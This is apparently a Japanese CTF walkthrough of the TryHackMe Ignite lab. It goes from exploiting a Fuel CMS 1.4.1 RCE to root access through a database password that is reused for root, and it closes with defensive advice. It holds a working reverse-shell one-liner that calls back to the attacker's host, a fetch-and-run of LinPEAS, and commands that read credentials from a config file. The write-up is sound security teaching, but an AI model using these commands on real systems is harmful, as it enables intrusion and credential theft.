Fuel CMS の調査から root 権限の確認まで
対象は許可された TryHackMe の Ignite VM。今回の対象 IP は 10.48.128.7、Kali の VPN アドレスは 192.168.158.2 だった。これらは変動するため、別の起動時には確認し直す。
1. 公開された脆弱性を調べる
Kali で実行したコマンド:
searchsploit fuel cms
searchsploit は Exploit Database の情報を検索するツール。結果の「Exploit Title」は対象のバージョンと脆弱性の種類、「Path」は実証コードや説明ファイルの場所を示す。
Path の番号だけでは候補を選べない。対象のバージョン、脆弱性の種類、成立条件を照合し、ファイルの中身を確認する。今回は Fuel CMS 1.4.1 の遠隔コード実行(Remote Code Execution、RCE)に関する 50477.py を候補にした。
searchsploit -m 50477
-m は該当ファイルを現在の作業ディレクトリへコピーする指定。検索結果に表示されたことだけでは、対象にその脆弱性があるとは証明できない。
2. 対象でコマンドを実行できるか確認する
Kali で実行したコマンド:
python3 50477.py -u http://10.48.128.7
python3 は実証コードを動かす。-u は、このスクリプトで対象 URL を指定するオプション。表示された「Enter Command」に whoami を入力すると、www-data と返った。
www-data は Web サーバーが利用するアカウント。この結果から対象上でのコマンド実行は確認できたが、root 権限はまだ得ていない。
3. リバースシェルを接続する
Kali の別端末で待ち受けた:
nc -lnvp 1234
nc は Netcat。-l は待受、-n は名前解決をしない指定、-v は接続情報の表示、-p 1234 は待受ポートの指定。
50477.py の「Enter Command」から、対象に Kali への接続を開始させた:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.158.2 1234 >/tmp/f
rm /tmp/f は前回の一時 FIFO を削除し、mkfifo /tmp/f は名前付きパイプを作る。/bin/sh -i は対話的なシェルを起動する。2>&1 はエラー出力を通常の出力にまとめ、| は左側の出力を右側へ渡す。nc は Kali の 1234 番ポートへ接続し、>/tmp/f は Kali から届いた入力を FIFO に戻す。
rm の対象が一時ファイル /tmp/f だけであることを確認して実行した。教材にある Netcat の -e を使う方法は今回接続できなかったため、FIFO を使う方法に切り替えた。-e が失敗した正確な原因までは確認していない。
Kali の待受端末に対象 IP からの接続が表示された。以後は Kali の端末へ入力するが、コマンドが実行される場所は対象 VM である。whoami は引き続き www-data と返ったため、リバースシェルを接続しただけで root になったわけではない。
長いコマンドを nano 内の「Esc → 6」でコピーしても、別の Kali 端末で使うクリップボードには入らない。保存したファイルから改行を除いてクリップボードへコピーするには、Kali で次を使った:
tr -d '\n' < netcat-reverse-shell | xclip -selection clipboard
tr -d '\n' は改行の削除、< はファイルからの読み込み、| は結果の受け渡し、xclip はクリップボードへのコピー。この操作でファイル内のコマンドは実行されない。
4. 一般ユーザーでの到達を確認する
対象のリバースシェルで実行したコマンド:
whoami pwd cd /home/www-data ls cat flag.txt
whoami は実行ユーザー、pwd は現在地、cd はディレクトリ移動、ls は一覧、cat はファイル内容の表示。flag.txt を読めたことは、一般ユーザー側の到達を示す。公開用の記録ではフラグの値を [REDACTED] とする。
5. LinPEAS を対象へ転送する
LinPEAS は Linux 上の権限昇格候補を列挙するツール。Kali には /usr/share/peass/linpeas/linpeas.sh が既にあった。以前の Lab の linpeas_output.txt は結果ファイルであり、ツール本体ではない。
Kali の ~/thm/ignite で実行したコマンド:
mkdir -p transfer cp /usr/share/peass/linpeas/linpeas.sh transfer/linpeas.sh ls -lh transfer/linpeas.sh
mkdir -p は転送用ディレクトリを作り、cp はスクリプトをコピーする。ls -lh はコピーされたファイルの大きさなどを確認する。転送専用の場所を用意すれば、作業中の別ファイルを HTTP で配信せずに済む。
Kali で簡易 HTTP サーバーを起動した:
python3 -m http.server 8000 --bind 192.168.158.2 --directory transfer
-m http.server は Python の HTTP サーバー機能を起動する指定。8000 はポート、--bind は待受アドレス、--directory は配信元ディレクトリを指定する。
対象の www-data シェルで取得した:
wget -O /tmp/linpeas-ignite.sh http://192.168.158.2:8000/linpeas.sh
wget は URL からファイルを取得する。大文字の -O は対象上の保存先を指定する。URL は「Kali のどのファイルを取るか」、/tmp/linpeas-ignite.sh は「対象のどこへ保存するか」を表す。wget は取得して保存するだけで、スクリプトは実行しない。
Kali 側の HTTP ログに GET /linpeas.sh と 200 が表示され、転送成功を確認した。
6. LinPEAS の結果を読む
対象で実行したコマンド:
sh /tmp/linpeas-ignite.sh 2>&1 | tee /tmp/linpeas-ignite.log
sh はスクリプトの実行、2>&1 はエラー出力の統合、tee は画面への表示とログファイルへの保存を同時に行う。保存先は対象 VM の /tmp。
最初は保存時とは異なる linpeas.sh という名前を指定して「Can't open」となった。原因は権限不足ではなく、ファイル名の不一致だった。
LinPEAS の出力は上からすべて読むより、現在のユーザーから権限が変わる根拠を探す。今回確認できた事実は、現在のユーザーが www-data であること、対象内で MySQL が動いていること、OS とカーネルが古い構成であることなど。CVE の表示は候補であり、表示だけで対象への適用が証明されたわけではない。
LinPEAS は「Internet Access?」の確認中に中断したため、保存ログは途中までだった。後半の項目がないことを「問題がない」とは解釈できない。また、TTY のない Netcat で Ctrl+C を押すと Kali 側の接続も終了したため、待受とリバースシェルを起動し直した。
7. sudo と認証情報を調べる
対象で実行したコマンド:
sudo -n -l
-l は sudo で許可された操作の一覧表示、-n はパスワードを尋ねずに結果を返す指定。今回は「a password is required」と返った。これはパスワードなしで一覧を見られないという意味であり、www-data に sudo 権限がある証明でも、Linux の root パスワードを要求しているという意味でもない。
www-data は Fuel CMS を動かす Web サーバーのユーザー。Web アプリはデータベースへ接続する必要があるため、設定ファイルに接続用の認証情報がある可能性を考えた。
find /var/www/html -type f -name 'database.php' 2>/dev/null
find はファイル検索、-type f は通常ファイル、-name は名前の指定、2>/dev/null は権限エラー表示の省略。この検索で Fuel CMS の設定ファイルを見つけた。
grep -nE "'(username|password|database)'" /var/www/html/fuel/application/config/database.php
grep は一致する行の抽出、-n は行番号、-E は | を「または」として扱う指定。ファイル冒頭の項目説明と、実際の設定値を区別して読んだ。
実際の設定では、MySQL のユーザー名は root、データベース名は fuel_schema だった。パスワード値は [REDACTED] とする。ここでの root はまず「MySQL の root」を指す。「Linux の root でも同じパスワードか」は、この時点では仮説にすぎない。
8. Linux の root への切り替えを検証する
最初のリバースシェルには TTY(対話用端末)がないため、su のパスワード入力に備えて疑似端末を用意した。
command -v python3
command -v はプログラムの場所を確認する。対象で /usr/bin/python3 が見つかったため、次を実行した。
python3 -c 'import pty; pty.spawn("/bin/bash")'
-c は後ろの Python コードを実行する指定。import pty は疑似端末の機能を読み込み、pty.spawn("/bin/bash") は Bash を疑似端末につなぐ。この操作だけでは権限は www-data のままである。
su - root
su は別ユーザーへの切り替え、- は切り替え先のログイン環境の利用、root は切り替え先のユーザーを表す。先ほど確認した DB 用パスワードを対話的に入力し、Linux の root にも使われているかを検証した。
この簡易リバースシェルでは、パスワード入力やコマンドが画面にエコーされた。疑似端末を作っても、Kali 側の端末表示まで完全に整うとは限らない。公開用の記録では入力値を [REDACTED] にする。
id pwd ls cat root.txt
id は uid=0(root)、pwd は /root を示し、root.txt も読めた。この結果から、MySQL 用と Linux の root 用でパスワードが使い回されていたと確認できた。root.txt の値は [REDACTED] とする。
9. 防衛側の確認事項
・Fuel CMS:脆弱性を修正した版へ更新し、同じ要求で遠隔コード実行ができないことを再テストする。Web のアクセスログも確認する。 ・リバースシェル:Web サーバーから不要な外向き通信を制限する。apache2 から sh や nc が起動し、未知の宛先へ接続する動きを検知する。 ・データベース:アプリに MySQL の root を使わせず、必要な権限だけを持つ専用アカウントを用意する。 ・認証情報:DB と Linux の root で別のパスワードを使う。設定ファイルの参照権限を絞り、漏れた資格情報を変更する。 ・権限昇格:su の認証ログを確認し、変更後は DB 用の資格情報で Linux の root に切り替えられないことを再テストする。
今回確認した経路は「Fuel CMS の RCE → www-data → 設定ファイルの認証情報 → パスワードの使い回し → Linux の root」だった。LinPEAS に表示された別の CVE を利用したわけではない。